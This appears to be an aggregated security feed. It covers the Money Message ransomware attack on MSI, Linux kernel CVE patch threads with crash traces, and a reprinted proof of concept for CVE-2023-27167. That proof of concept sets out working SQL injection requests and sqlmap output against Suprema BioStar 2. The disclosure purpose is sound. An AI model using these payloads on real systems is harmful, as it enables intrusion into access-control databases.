Taiwanese PC company MSI (short for Micro-Star International) officially confirmed it was the victim of a cyber attack on its systems.
The company said it "promptly" initiated incident response and recovery measures after detecting "network anomalies." It also said it alerted law enforcement agencies of the matter.
That said, MSI did not disclose any specifics about when the attack took place

Taiwanese PC company MSI (short for Micro-Star International) officially confirmed it was the victim of a cyber attack on its systems.

The company said it "promptly" initiated incident response and recovery measures after detecting "network anomalies." It also said it alerted law enforcement agencies of the matter.

That said, MSI did not disclose any specifics about when the attack took place and if it entailed the exfiltration of any proprietary information, including source code.

"Currently, the affected systems have gradually resumed normal operations, with no significant impact on financial business," the company said in a brief notice shared on Friday.

In a regulatory filing with the Taiwan Stock Exchange, it said that it's setting up enhanced controls of its network and infrastructure to ensure the security of data.

MSI is further urging users to obtain firmware/BIOS updates only from its official website, and refrain from downloading files from other sources.

The disclosure comes as a new ransomware gang known as Money Message added the company to its list of victims. The threat actor was spotlighted by Zscaler late last month.

UPCOMING WEBINAR

Learn to Secure the Identity Perimeter - Proven Strategies

Improve your business security with our upcoming expert-led cybersecurity webinar: Explore Identity Perimeter strategies!

Don't Miss Out – Save Your Seat!

"The group utilizes a double extortion technique to target its victims, which involves exfiltrating the victim's data before encrypting it," Cyble noted in an analysis published this week. "The group uploads the data on their leak site if the ransom is unpaid."

The development comes a month after Acer confirmed a breach of its own that resulted in the theft of 160 GB of confidential data. It was advertised on March 6, 2023, for sale on the now-defunct BreachForums.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Taiwanese PC Company MSI Falls Victim to Ransomware Attack

By Waqas
The Money Message ransomware group has reportedly demanded a ransom of $4 million from MSI.
This is a post from HackRead.com Read the original post: New Money Message Ransomware Gang Hits MSI, Threatens of Data Leak

**Recently surfaced Money Message ransomware group has claimed responsibility for targeting not only MSI but also several other companies across different countries including the US, the UK, and Bangladesh.**

Micro-Star International or MSI, a Taiwanese multinational information technology corporation, has fallen victim to a ransomware attack by a relatively new group called Money Message.

The attack has been confirmed by MSI through postings on their website and the Taiwanese stock exchange. Money Message is now demanding a ransom of $4 million to prevent the leaking of MSI’s confidential data.

MSI’s press release, however, seems to downplay the severity of the situation, stating that the affected systems have resumed normal operations with no significant impact on financial business.

Regardless, Money Message currently claims to hold critical information about MSI’s hardware, including the BIOS source code for motherboards. If the ransom is not paid, the group has threatened to leak this data, which could have serious repercussions for MSI in the future.

The screenshot leaked by the Money Message ransomware group to prove the authenticity of its attack (Image: Hackread.com)

The Money Message ransomware group, responsible for the recent attack on MSI, has made additional claims of compromising other companies. The following entities are reportedly among the victims:

*   Hawaii Self Storage, USA
*   Mid-American Glass, USA
*   Biman Bangladesh Airlines
*   LPA Group Plc, United Kingdom
*   Golden Bear Insurance Company, USA
*   Pharmerica.com & BrightSpring Health Services

Money Message has set a countdown timer for over 100 hours on their website, indicating that they plan to release the 27GB of data to the public once the timer ends.

MSI has 84 hours according to the timer on the Money Message’s website (Image: Hackread.com)

Money Message is a relatively new group, with their first major hack being reported by Zscaler’s Threat Labs on March 29th, 2023, just a day before MSI’s attack. The group’s website boasts a list of seven pages of successful ransomware attacks on various targets, ranging from small businesses to large firms, and even a Bengali airline.

It remains unclear whether Money Message will follow through with its threat to leak MSI’s data, or if MSI intends to pay the ransom. In the meantime, MSI has urged users to only download software from official links on their website, indicating heightened caution in the aftermath of the attack.

The situation continues to unfold, and MSI’s response to the ransomware attack will be closely watched by the cybersecurity community.

1.  LockBit Ransomware Hits SpaceX Contractor
2.  New Rorschach Ransomware Targeting US- Firms
3.  Hackers Exploit MSI Afterburner to Deliver Coin Miner
4.  UK Criminal Records Office Hit by Ransomware Attack
5.  Western Digital Breach – Hackers Enter Internal Systems

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

New Money Message Ransomware Gang Hits MSI, Threatens of Data Leak

A race problem was found in fs/proc/task_mmu.c in the memory management sub-component in the Linux kernel. This issue may allow a local attacker with user privilege to cause a denial of service.

From: Greg KH <gregkh@linuxfoundation.org>
To: Yang Shi <shy828301@gmail.com>
Cc: adobriyan@gmail.com, akpm@linux-foundation.org, david@redhat.com,
	jannh@google.com, kirill.shutemov@linux.intel.com,
	nathan@kernel.org, willy@infradead.org, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org, stable@vger.kernel.org
Subject: Re: \[stable-5.15 PATCH\] fs/proc: task\_mmu.c: don't read mapcount for migration entry
Date: Thu, 17 Feb 2022 19:56:51 +0100	\[thread overview\]
Message-ID: <Yg6ac8WlwtnDH6M0@kroah.com> (raw)
In-Reply-To: <20220215221503.855815-1-shy828301@gmail.com\>

On Tue, Feb 15, 2022 at 02:15:03PM -0800, Yang Shi wrote:
\> commit 24d7275ce2791829953ed4e72f68277ceb2571c6 upstream
> 
> The syzbot reported the below BUG:
> 
>   kernel BUG at include/linux/page-flags.h:785!
>   invalid opcode: 0000 \[#1\] PREEMPT SMP KASAN
>   CPU: 1 PID: 4392 Comm: syz-executor560 Not tainted 5.16.0-rc6-syzkaller #0
>   Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
>   RIP: 0010:PageDoubleMap include/linux/page-flags.h:785 \[inline\]
>   RIP: 0010:\_\_page\_mapcount+0x2d2/0x350 mm/util.c:744
>   Call Trace:
>     page\_mapcount include/linux/mm.h:837 \[inline\]
>     smaps\_account+0x470/0xb10 fs/proc/task\_mmu.c:466
>     smaps\_pte\_entry fs/proc/task\_mmu.c:538 \[inline\]
>     smaps\_pte\_range+0x611/0x1250 fs/proc/task\_mmu.c:601
>     walk\_pmd\_range mm/pagewalk.c:128 \[inline\]
>     walk\_pud\_range mm/pagewalk.c:205 \[inline\]
>     walk\_p4d\_range mm/pagewalk.c:240 \[inline\]
>     walk\_pgd\_range mm/pagewalk.c:277 \[inline\]
>     \_\_walk\_page\_range+0xe23/0x1ea0 mm/pagewalk.c:379
>     walk\_page\_vma+0x277/0x350 mm/pagewalk.c:530
>     smap\_gather\_stats.part.0+0x148/0x260 fs/proc/task\_mmu.c:768
>     smap\_gather\_stats fs/proc/task\_mmu.c:741 \[inline\]
>     show\_smap+0xc6/0x440 fs/proc/task\_mmu.c:822
>     seq\_read\_iter+0xbb0/0x1240 fs/seq\_file.c:272
>     seq\_read+0x3e0/0x5b0 fs/seq\_file.c:162
>     vfs\_read+0x1b5/0x600 fs/read\_write.c:479
>     ksys\_read+0x12d/0x250 fs/read\_write.c:619
>     do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
>     do\_syscall\_64+0x35/0xb0 arch/x86/entry/common.c:80
>     entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
> 
> The reproducer was trying to read /proc/$PID/smaps when calling
> MADV\_FREE at the mean time.  MADV\_FREE may split THPs if it is called
> for partial THP.  It may trigger the below race:
> 
>            CPU A                         CPU B
>            -----                         -----
>   smaps walk:                      MADV\_FREE:
>   page\_mapcount()
>     PageCompound()
>                                    split\_huge\_page()
>     page = compound\_head(page)
>     PageDoubleMap(page)
> 
> When calling PageDoubleMap() this page is not a tail page of THP anymore
> so the BUG is triggered.
> 
> This could be fixed by elevated refcount of the page before calling
> mapcount, but that would prevent it from counting migration entries, and
> it seems overkilling because the race just could happen when PMD is
> split so all PTE entries of tail pages are actually migration entries,
> and smaps\_account() does treat migration entries as mapcount == 1 as
> Kirill pointed out.
> 
> Add a new parameter for smaps\_account() to tell this entry is migration
> entry then skip calling page\_mapcount().  Don't skip getting mapcount
> for device private entries since they do track references with mapcount.
> 
> Pagemap also has the similar issue although it was not reported.  Fixed
> it as well.
> 
> \[shy828301@gmail.com: v4\]
>   Link: https://lkml.kernel.org/r/20220203182641.824731-1-shy828301@gmail.com
> \[nathan@kernel.org: avoid unused variable warning in pagemap\_pmd\_range()\]
>   Link: https://lkml.kernel.org/r/20220207171049.1102239-1-nathan@kernel.org
> Link: https://lkml.kernel.org/r/20220120202805.3369-1-shy828301@gmail.com
> Fixes: e9b61f19858a ("thp: reintroduce split\_huge\_page()")
> Signed-off-by: Yang Shi <shy828301@gmail.com>
> Signed-off-by: Nathan Chancellor <nathan@kernel.org>
> Reported-by: syzbot+1f52b3a18d5633fa7f82@syzkaller.appspotmail.com
> Acked-by: David Hildenbrand <david@redhat.com>
> Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
> Cc: Jann Horn <jannh@google.com>
> Cc: Matthew Wilcox <willy@infradead.org>
> Cc: Alexey Dobriyan <adobriyan@gmail.com>
> Cc: <stable@vger.kernel.org>
> Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
> ---
>  fs/proc/task\_mmu.c | 40 +++++++++++++++++++++++++++++++---------
>  1 file changed, 31 insertions(+), 9 deletions(-)

Both backports applied, thanks.

greg k-h

     prev parent reply	other threads:\[~2022-02-17 18:57 UTC|newest\]

**Thread overview:** 2+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
2022-02-15 22:15 \[stable-5.15 PATCH\] fs/proc: task\_mmu.c: don't read mapcount for migration entry Yang Shi
**2022-02-17 18:56 \` Greg KH \[this message\]**

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=Yg6ac8WlwtnDH6M0@kroah.com \\
    --to=gregkh@linuxfoundation.org \\
    --cc=adobriyan@gmail.com \\
    --cc=akpm@linux-foundation.org \\
    --cc=david@redhat.com \\
    --cc=jannh@google.com \\
    --cc=kirill.shutemov@linux.intel.com \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=linux-mm@kvack.org \\
    --cc=nathan@kernel.org \\
    --cc=shy828301@gmail.com \\
    --cc=stable@vger.kernel.org \\
    --cc=willy@infradead.org \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2023-1582: Re: [stable-5.15 PATCH] fs/proc: task_mmu.c: don't read mapcount for migration entry

Suprema BioStar 2 v2.8.16 was discovered to contain a SQL injection vulnerability via the values parameter at /users/absence?search_month=1.

CVE-2023-27167

Suprema BioStar 2 version 2.8.16 suffers from a remote SQL injection vulnerability.

    # Exploit Title: CVE-2023-27167 - Suprema BioStar 2 v2.8.16 - SQL Injection# Date: 26/03/2023# Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/)# Vendor Homepage: https://www.supremainc.com/# Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp# Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide# Version: 2.8.16# Tested on: Windows, Linux## Description A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter. ## Request PoC #1'''POST /api/users/absence?search_month=1 HTTP/1.1Host: biostar2.server.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: application/json, text/plain, */*Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflatecontent-type: application/json;charset=UTF-8content-language: enbs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548Content-Length: 204Origin: https://biostar2.server.netConnection: closeReferer: https://biostar2.server.net/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}}'''Time based SQL injection (set 4 – response delays for 8 seconds).'''## Request PoC #2'''POST /api/users/absence?search_month=1 HTTP/1.1Host: biostar2.server.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: application/json, text/plain, */*Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflatecontent-type: application/json;charset=UTF-8content-language: enbs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548Content-Length: 188Origin: https://biostar2.server.netConnection: closeReferer: https://biostar2.server.net/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}'''Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin)'''## Exploit with SQLmapSave the request from Burp Suite to file.'''---Parameter: JSON #1* ((custom) POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}}---[05:02:49] [INFO] testing MySQL[05:02:49] [INFO] confirming MySQL[05:02:50] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL > 5.0.0 (MariaDB fork)[05:02:50] [INFO] fetching database names[05:02:50] [INFO] fetching number of databases[05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[05:02:55] [INFO] retrieved: 2[05:03:12] [INFO] retrieved: biostar2_ac[05:03:56] [INFO] retrieved: information_schemaavailable databases [2]:[*] biostar2_ac[*] information schema'''

Suprema BioStar 2 2.8.16 SQL Injection

In the Linux kernel through 6.2.8, net/bluetooth/hci_sync.c allows out-of-bounds access because amp_init1[] and amp_init2[] are supposed to have an intentionally invalid element, but do not.

From: Sungwoo Kim <iam@sung-woo.kim>
To: unlisted-recipients:; (no To-header on input)
Cc: wuruoyu@me.com, benquike@gmail.com, daveti@purdue.edu,
	Sungwoo Kim <iam@sung-woo.kim>,
	Marcel Holtmann <marcel@holtmann.org>,
	Johan Hedberg <johan.hedberg@gmail.com>,
	Luiz Augusto von Dentz <luiz.dentz@gmail.com>,
	"David S. Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	linux-bluetooth@vger.kernel.org, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org
Subject: \[PATCH\] Bluetooth: HCI: Fix global-out-of-bounds
Date: Mon, 20 Mar 2023 21:50:18 -0400	\[thread overview\]
Message-ID: <20230321015018.1759683-1-iam@sung-woo.kim> (raw)

To loop a variable-length array, hci\_init\_stage\_sync(stage) considers
that stage\[i\] is valid as long as stage\[i-1\].func is valid.
Thus, the last element of stage\[\].func should be intentionally invalid
as hci\_init0\[\], le\_init2\[\], and others did.
However, amp\_init1\[\] and amp\_init2\[\] have no invalid element, letting
hci\_init\_stage\_sync() keep accessing amp\_init1\[\] over its valid range.
This patch fixes this by adding {} in the last of amp\_init1\[\] and
amp\_init2\[\].

==================================================================
BUG: KASAN: global-out-of-bounds in hci\_dev\_open\_sync (/v6.2-bzimage/net/bluetooth/hci\_sync.c:3154 /v6.2-bzimage/net/bluetooth/hci\_sync.c:3343 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4418 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4609 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4689)
Read of size 8 at addr ffffffffaed1ab70 by task kworker/u5:0/1032
CPU: 0 PID: 1032 Comm: kworker/u5:0 Not tainted 6.2.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04
Workqueue: hci1 hci\_power\_on
Call Trace:
 <TASK>
dump\_stack\_lvl (/v6.2-bzimage/lib/dump\_stack.c:107 (discriminator 1))
print\_report (/v6.2-bzimage/mm/kasan/report.c:307 /v6.2-bzimage/mm/kasan/report.c:417)
? hci\_dev\_open\_sync (/v6.2-bzimage/net/bluetooth/hci\_sync.c:3154 /v6.2-bzimage/net/bluetooth/hci\_sync.c:3343 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4418 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4609 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4689)
kasan\_report (/v6.2-bzimage/mm/kasan/report.c:184 /v6.2-bzimage/mm/kasan/report.c:519)
? hci\_dev\_open\_sync (/v6.2-bzimage/net/bluetooth/hci\_sync.c:3154 /v6.2-bzimage/net/bluetooth/hci\_sync.c:3343 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4418 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4609 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4689)
hci\_dev\_open\_sync (/v6.2-bzimage/net/bluetooth/hci\_sync.c:3154 /v6.2-bzimage/net/bluetooth/hci\_sync.c:3343 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4418 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4609 /v6.2-bzimage/net/bluetooth/hci\_sync.c:4689)
? \_\_pfx\_hci\_dev\_open\_sync (/v6.2-bzimage/net/bluetooth/hci\_sync.c:4635)
? mutex\_lock (/v6.2-bzimage/./arch/x86/include/asm/atomic64\_64.h:190 /v6.2-bzimage/./include/linux/atomic/atomic-long.h:443 /v6.2-bzimage/./include/linux/atomic/atomic-instrumented.h:1781 /v6.2-bzimage/kernel/locking/mutex.c:171 /v6.2-bzimage/kernel/locking/mutex.c:285)
? \_\_pfx\_mutex\_lock (/v6.2-bzimage/kernel/locking/mutex.c:282)
hci\_power\_on (/v6.2-bzimage/net/bluetooth/hci\_core.c:485 /v6.2-bzimage/net/bluetooth/hci\_core.c:984)
? \_\_pfx\_hci\_power\_on (/v6.2-bzimage/net/bluetooth/hci\_core.c:969)
? read\_word\_at\_a\_time (/v6.2-bzimage/./include/asm-generic/rwonce.h:85)
? strscpy (/v6.2-bzimage/./arch/x86/include/asm/word-at-a-time.h:62 /v6.2-bzimage/lib/string.c:161)
process\_one\_work (/v6.2-bzimage/kernel/workqueue.c:2294)
worker\_thread (/v6.2-bzimage/./include/linux/list.h:292 /v6.2-bzimage/kernel/workqueue.c:2437)
? \_\_pfx\_worker\_thread (/v6.2-bzimage/kernel/workqueue.c:2379)
kthread (/v6.2-bzimage/kernel/kthread.c:376)
? \_\_pfx\_kthread (/v6.2-bzimage/kernel/kthread.c:331)
ret\_from\_fork (/v6.2-bzimage/arch/x86/entry/entry\_64.S:314)
 </TASK>
The buggy address belongs to the variable:
amp\_init1+0x30/0x60
The buggy address belongs to the physical page:
page:000000003a157ec6 refcount:1 mapcount:0 mapping:0000000000000000 ia
flags: 0x200000000001000(reserved|node=0|zone=2)
raw: 0200000000001000 ffffea0005054688 ffffea0005054688 000000000000000
raw: 0000000000000000 0000000000000000 00000001ffffffff 000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
 ffffffffaed1aa00: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 00
 ffffffffaed1aa80: 00 00 00 00 f9 f9 f9 f9 00 00 00 00 00 00 00 00
\>ffffffffaed1ab00: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9
                                                             ^
 ffffffffaed1ab80: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 f9
 ffffffffaed1ac00: f9 f9 f9 f9 00 06 f9 f9 f9 f9 f9 f9 00 00 02 f9

This bug is found by FuzzBT, a modified version of Syzkaller.
Other contributors for this bug are Ruoyu Wu and Peng Hui.

Fixes: d0b137062b2d ("Bluetooth: hci\_sync: Rework init stages")
Signed-off-by: Sungwoo Kim <iam@sung-woo.kim>
---
 net/bluetooth/hci\_sync.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/net/bluetooth/hci\_sync.c b/net/bluetooth/hci\_sync.c
index 117eedb6f..49e692d73 100644
--- a/net/bluetooth/hci\_sync.c
+++ b/net/bluetooth/hci\_sync.c
@@ -3319,6 +3319,7 @@ static const struct hci\_init\_stage amp\_init1\[\] = {
 	HCI\_INIT(hci\_read\_flow\_control\_mode\_sync),
 	/\* HCI\_OP\_READ\_LOCATION\_DATA \*/
 	HCI\_INIT(hci\_read\_location\_data\_sync),
+	{}
 };
 
 static int hci\_init1\_sync(struct hci\_dev \*hdev)
@@ -3353,6 +3354,7 @@ static int hci\_init1\_sync(struct hci\_dev \*hdev)
 static const struct hci\_init\_stage amp\_init2\[\] = {
 	/\* HCI\_OP\_READ\_LOCAL\_FEATURES \*/
 	HCI\_INIT(hci\_read\_local\_features\_sync),
+	{}
 };
 
 /\* Read Buffer Size (ACL mtu, max pkt, etc.) \*/
-- 
2.34.1

next             reply	other threads:\[~2023-03-21  1:50 UTC|newest\]

**Thread overview:** 3+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
**2023-03-21  1:50 Sungwoo Kim \[this message\]**
2023-03-21 11:51 \` \[PATCH\] Bluetooth: HCI: Fix global-out-of-bounds Simon Horman
2023-03-22 23:00 \` patchwork-bot+bluetooth

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20230321015018.1759683-1-iam@sung-woo.kim \\
    --to=iam@sung-woo.kim \\
    --cc=benquike@gmail.com \\
    --cc=davem@davemloft.net \\
    --cc=daveti@purdue.edu \\
    --cc=edumazet@google.com \\
    --cc=johan.hedberg@gmail.com \\
    --cc=kuba@kernel.org \\
    --cc=linux-bluetooth@vger.kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luiz.dentz@gmail.com \\
    --cc=marcel@holtmann.org \\
    --cc=netdev@vger.kernel.org \\
    --cc=pabeni@redhat.com \\
    --cc=wuruoyu@me.com \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2023-28866: [PATCH] Bluetooth: HCI: Fix global-out-of-bounds

A use-after-free flaw was found in qdisc_graft in net/sched/sch_api.c in the Linux Kernel due to a race problem. This flaw leads to a denial of service issue. If patch ebda44da44f6 ("net: sched: fix race condition in qdisc_graft()") not applied yet, then kernel could be affected.

From: Eric Dumazet <edumazet@google.com>
To: "David S . Miller" <davem@davemloft.net>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>
Cc: netdev@vger.kernel.org, Cong Wang <xiyou.wangcong@gmail.com>,
	eric.dumazet@gmail.com, Eric Dumazet <edumazet@google.com>,
	syzbot <syzkaller@googlegroups.com>,
	Dmitry Vyukov <dvyukov@google.com>
Subject: \[PATCH net\] net: sched: fix race condition in qdisc\_graft()
Date: Tue, 18 Oct 2022 20:32:58 +0000	\[thread overview\]
Message-ID: <20221018203258.2793282-1-edumazet@google.com> (raw)

We had one syzbot report \[1\] in syzbot queue for a while.
I was waiting for more occurrences and/or a repro but
Dmitry Vyukov spotted the issue right away.

<quoting Dmitry>
qdisc\_graft() drops reference to qdisc in notify\_and\_destroy
while it's still assigned to dev->qdisc
</quoting>

Indeed, RCU rules are clear when replacing a data structure.
The visible pointer (dev->qdisc in this case) must be updated
to the new object \_before\_ RCU grace period is started
(qdisc\_put(old) in this case).

\[1\]
BUG: KASAN: use-after-free in \_\_tcf\_qdisc\_find.part.0+0xa3a/0xac0 net/sched/cls\_api.c:1066
Read of size 4 at addr ffff88802065e038 by task syz-executor.4/21027

CPU: 0 PID: 21027 Comm: syz-executor.4 Not tainted 6.0.0-rc3-syzkaller-00363-g7726d4c3e60b #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/26/2022
Call Trace:
<TASK>
\_\_dump\_stack lib/dump\_stack.c:88 \[inline\]
dump\_stack\_lvl+0xcd/0x134 lib/dump\_stack.c:106
print\_address\_description mm/kasan/report.c:317 \[inline\]
print\_report.cold+0x2ba/0x719 mm/kasan/report.c:433
kasan\_report+0xb1/0x1e0 mm/kasan/report.c:495
\_\_tcf\_qdisc\_find.part.0+0xa3a/0xac0 net/sched/cls\_api.c:1066
\_\_tcf\_qdisc\_find net/sched/cls\_api.c:1051 \[inline\]
tc\_new\_tfilter+0x34f/0x2200 net/sched/cls\_api.c:2018
rtnetlink\_rcv\_msg+0x955/0xca0 net/core/rtnetlink.c:6081
netlink\_rcv\_skb+0x153/0x420 net/netlink/af\_netlink.c:2501
netlink\_unicast\_kernel net/netlink/af\_netlink.c:1319 \[inline\]
netlink\_unicast+0x543/0x7f0 net/netlink/af\_netlink.c:1345
netlink\_sendmsg+0x917/0xe10 net/netlink/af\_netlink.c:1921
sock\_sendmsg\_nosec net/socket.c:714 \[inline\]
sock\_sendmsg+0xcf/0x120 net/socket.c:734
\_\_\_\_sys\_sendmsg+0x6eb/0x810 net/socket.c:2482
\_\_\_sys\_sendmsg+0x110/0x1b0 net/socket.c:2536
\_\_sys\_sendmsg+0xf3/0x1c0 net/socket.c:2565
do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
do\_syscall\_64+0x35/0xb0 arch/x86/entry/common.c:80
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd
RIP: 0033:0x7f5efaa89279
Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5efbc31168 EFLAGS: 00000246 ORIG\_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 00007f5efab9bf80 RCX: 00007f5efaa89279
RDX: 0000000000000000 RSI: 0000000020000140 RDI: 0000000000000005
RBP: 00007f5efaae32e9 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5efb0cfb1f R14: 00007f5efbc31300 R15: 0000000000022000
</TASK>

Allocated by task 21027:
kasan\_save\_stack+0x1e/0x40 mm/kasan/common.c:38
kasan\_set\_track mm/kasan/common.c:45 \[inline\]
set\_alloc\_info mm/kasan/common.c:437 \[inline\]
\_\_\_\_kasan\_kmalloc mm/kasan/common.c:516 \[inline\]
\_\_\_\_kasan\_kmalloc mm/kasan/common.c:475 \[inline\]
\_\_kasan\_kmalloc+0xa9/0xd0 mm/kasan/common.c:525
kmalloc\_node include/linux/slab.h:623 \[inline\]
kzalloc\_node include/linux/slab.h:744 \[inline\]
qdisc\_alloc+0xb0/0xc50 net/sched/sch\_generic.c:938
qdisc\_create\_dflt+0x71/0x4a0 net/sched/sch\_generic.c:997
attach\_one\_default\_qdisc net/sched/sch\_generic.c:1152 \[inline\]
netdev\_for\_each\_tx\_queue include/linux/netdevice.h:2437 \[inline\]
attach\_default\_qdiscs net/sched/sch\_generic.c:1170 \[inline\]
dev\_activate+0x760/0xcd0 net/sched/sch\_generic.c:1229
\_\_dev\_open+0x393/0x4d0 net/core/dev.c:1441
\_\_dev\_change\_flags+0x583/0x750 net/core/dev.c:8556
rtnl\_configure\_link+0xee/0x240 net/core/rtnetlink.c:3189
rtnl\_newlink\_create net/core/rtnetlink.c:3371 \[inline\]
\_\_rtnl\_newlink+0x10b8/0x17e0 net/core/rtnetlink.c:3580
rtnl\_newlink+0x64/0xa0 net/core/rtnetlink.c:3593
rtnetlink\_rcv\_msg+0x43a/0xca0 net/core/rtnetlink.c:6090
netlink\_rcv\_skb+0x153/0x420 net/netlink/af\_netlink.c:2501
netlink\_unicast\_kernel net/netlink/af\_netlink.c:1319 \[inline\]
netlink\_unicast+0x543/0x7f0 net/netlink/af\_netlink.c:1345
netlink\_sendmsg+0x917/0xe10 net/netlink/af\_netlink.c:1921
sock\_sendmsg\_nosec net/socket.c:714 \[inline\]
sock\_sendmsg+0xcf/0x120 net/socket.c:734
\_\_\_\_sys\_sendmsg+0x6eb/0x810 net/socket.c:2482
\_\_\_sys\_sendmsg+0x110/0x1b0 net/socket.c:2536
\_\_sys\_sendmsg+0xf3/0x1c0 net/socket.c:2565
do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
do\_syscall\_64+0x35/0xb0 arch/x86/entry/common.c:80
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Freed by task 21020:
kasan\_save\_stack+0x1e/0x40 mm/kasan/common.c:38
kasan\_set\_track+0x21/0x30 mm/kasan/common.c:45
kasan\_set\_free\_info+0x20/0x30 mm/kasan/generic.c:370
